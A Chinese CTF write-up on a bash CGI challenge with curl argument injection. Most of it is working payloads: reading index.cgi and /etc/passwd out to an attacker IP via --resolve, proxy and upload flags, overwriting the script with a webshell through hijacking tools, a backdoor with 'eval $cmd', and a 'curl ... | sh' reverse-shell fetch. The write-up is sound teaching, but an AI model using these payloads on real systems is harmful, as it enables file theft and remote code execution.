这篇文章发表于 560 天前,可能其部分内容已经发生变化,如有疑问可询问作者。

这题在之前做的时候我自以为掌握了,还写了个writeup,但是最近回头一看觉得一些地方尚存在问题,尤其是一些劫持的细节。本文综合了一些师傅的思考和自己的愚见,在此先感谢这些师傅的付出。

以下是题目源码:

1
2
3
4
5
6
7
8
9
10
#!/bin/bash

source ./_dep/web.cgi
echo_headers

name=${_GET["name"]}

[[ $name == "" ]] && name='Bob'

curl -v http://httpbin.org/get?name=$name

以上是index.cgi的内容,题目大致要求获取源码并且完成命令执行(白盒。

描述简单起见,假设攻击者IP地址为10.10.10.10,而运行着题目的域名为target.url

读文件

这里显然是要命令注入执行,但并非任意命令注入。为什么呢?先看一个bash命令和它的AST。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
cat << EOF > file | wc -c | tr -d " " > file2

#AST
__ PIPELINE__
___/ \____
/ \
COMMAND __ PIPELINE _
/ \ / \
ARGUMENTS REDIRECTIONS COMMAND _ COMMAND __
| | | | / \
cat << > ARGUMENTS ARGUMENTS REDIRECTIONS
| | | | | | | |
"..." file wc -c tr -d " " >
|
file2

类似的,从题目角度考虑,bash会将像curl这样的命令视为“函数”,并不具备像eval这样的动态执行的能力,也就是说我们只能控制住curl的参数。如果理解了这句话,请考虑以下两者间的区别。

1
2
curl -v http://httpbin.org/get?name=$name
curl -v "http://httpbin.org/get?name=$name"

后者是不存在漏洞的。

厘清了这些基本知识之后,我们该如何通过参数注入来获取源文件呢?主要有两种方式:

dns劫持读文件

这里先得开启监听。

1
nc -lvnp 80

或者

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#website.py
import web

urls=('/.*','index')

class index:
def POST(self):
data = web.input(file={})
return data.file.value
def GET(self):
return payload

if __name__ == "__main__":
app = web.application(urls, globals())
app.run()

#python2 website.py 80

然后payload是

1
2
curl http://target.url/index.cgi -G --data-urlencode "name=sa -F file=@index.cgi --resolve *:80:10.10.10.10" 
curl http://target.url/index.cgi -G --data-urlencode "name=sa -F file=@/etc/passwd --resolve *:80:10.10.10.10"

这里的*:80意为将所有的域名80端口转到10.10.10.10这个IP上来,也就意味着访问任何域名的流量都将流入这个攻击者的恶意IP中,这也要求攻击者的必须开放80端口(如果是域名应该没有那么严格的要求,但我不知道域名能不能作为--resolve的参数)。

代理劫持读文件

这里先得开启监听。

1
nc -lnvp 49180

以下命令皆可行(“茴”字有四种写法。。。

1
2
3
4
5
6
7
curl http://target.url/index.cgi -G --data-urlencode "name=sa -F file=@index.cgi -x 10.10.10.10:49180"
curl http://target.url/index.cgi -G --data-urlencode "name=sa -F file=@/etc/passwd -x 10.10.10.10:49180"
curl http://target.url/index.cgi -G --data-urlencode "name=sa -T /etc/passwd -x 10.10.10.10:49180" //-T是文件上传操作
curl http://target.url/index.cgi -G --data-urlencode "name=sa --data-binary @index.cgi -x 10.10.10.10:49180"

这里还有一个有意思的payload,不需要劫持,可惜需要绝对路径。
curl http://target.url/index.cgi -G --data-urlencode "name=sa file:///etc/passwd"

1

劫持返回包getshell

对这题来讲,任意命令执行显然是不可能的。想要完成getshell,应该只能依靠写马(除了你非常好运拿到了password)。

但是,在写马然后getshell过程中,存在着两大问题:1、写入的文件权限不足;2、写入的文件存在错误。这两点可以通过覆写index.cgi文件来解决(因为覆写web目录下的某个已经存在的文件是不会影响该文件本身的执行权限的)。而想要完成这个操作,基本上是需要劫持的,因为真正对覆写结果起到决定作用的是攻击者劫持后发回去的响应包。

友情提示:接下来最好理解-o参数的内涵,而且不要搞混两个curl,不然绝对是会混乱的。

头铁的话试试下面这个。。

1
2
3
4
#在webshell.php的同级目录输入以下命令 
#python3 -m http.server 49180
curl http://target.url/index.cgi -G --data-urlencode "name=sa -o index.cgi http://10.10.10.10:49180/webshell.php"
#webshell.php是个木马,随便写个试试

2

看来是自爆了,为什么呢?因为-o参数是将指定curl返回保存为文件。由于curl请求的是那个不存在的http://httpbin.org/,而之前的代理并没有对返回数据包进行任何处理,所以返回的结果当然和攻击者的木马文件的内容不一致了。

换句话说,服务端执行的命令是curl -v http://httpbin.org/get?name=sa -o index.cgi http://10.10.10.10:49180/webshell.php,这个显然是不可能保存webshell.php文件的,而是保存访问httpbin.org后的返回请求。

于是在原理的基础上,这里给出四种比较好的解决方法(前两种是本人用的)。

burp劫持

首先是推荐burp劫持,因为流量看的非常清楚。但这里需要开启全地址捕捉。

3

然后就抓到了非常好的结果,看到这个应该就能彻底明白这个攻击的流程了。

4

所以可以使用

1
curl http://target.url/index.cgi -G --data-urlencode "name=sa -o index.cgi -x 10.10.10.10:49180"

然后暴力修改。。直接将请求定向到本地网站上的木马文件。就像下图即可。

5

nc直接传

这里的操作最为简便,先运行如下命令,

1
nc -lnvp 49180 < webshell.txt

然后用上面burp部分的同一个payload即可完成覆写。作为红队传输中常用手段,该法值得一提,但这个方法并不能完全且持久地控制流量。

6

利用web模块劫持

这些摘自某位师傅的writeup。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import web
urls=('/.*','index')

payload='''#!/bin/bash
source ./_dep/web.cgi
echo_headers
name=${_GET["name"]}
[[ $name == "" ]] && name='Bob'
curl -v http://httpbin.org/get?name=$name
cmd=${_GET["cmd"]}
eval $cmd
'''

class index: #这里应该还能加些time啥的代码让自己看的更加清楚
def POST(self):
data = web.input(file={})
return data.file.value
def GET(self):
return payload

if __name__ == "__main__":
app = web.application(urls, globals())
app.run()

#python2 web.py 80
#curl http://target.url/index.cgi -G --data-urlencode "name=sa --resolve *:80:10.10.10.10"
#curl http://target.url/index.cgi -G --data-urlencode "name=sa -o index.cgi --resolve *:80:10.10.10.10"
#curl http://target.url/index.cgi -G --data-urlencode "cmd=curl https://shell.now.sh/10.10.10.10:43333 | sh"

利用mitmproxy劫持

这些摘自出题者的writeup。

安装mitmproxy,然后编写一个Addon demo.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#demo.py
from mitmproxy import ctx
from mitmproxy.http import HTTPFlow, HTTPResponse
#data = br''' hello '''
data=open('webshell.txt','rb')
class Hook:
def request(self, flow: HTTPFlow):
flow.response = HTTPResponse.make(200, data, {'Content-Type': 'text/plain'})
ctx.log.info("Process a request %r" % flow.request.url)
addons = [
Hook()
]
#mitmdump -s demo.py --set block_global=false
#如果请求的目标是https,我们的代理没有配置证书,可能会出现SSL错误,可以增加-k参数来解决这个问题。

最后提一句,本题的文件权限设计也是非常值得去思考的一点,权限一高就没法覆写了。

1
2
3
4
5
6
7
8
root@24edad672545:/usr/local/apache2/htdocs# ls -la
total 28
drwxr-xr-x 1 daemon daemon 4096 Jul 10 00:03 .
drwxr-xr-x 1 www-data www-data 4096 Apr 16 08:54 ..
drwxr-xr-x 1 daemon daemon 4096 Apr 16 17:29 _dep
-rwxr-xr-x 1 root root 146 Jul 10 00:03 index.bak
-rwxr-xr-x 1 daemon daemon 146 Apr 16 17:29 index.cgi
-rw-r--r-- 1 daemon daemon 45 Jun 11 2007 index.html

那个index.bak就没办法覆写,index.cgi却是可以的。总之,这是一道非常有趣的题。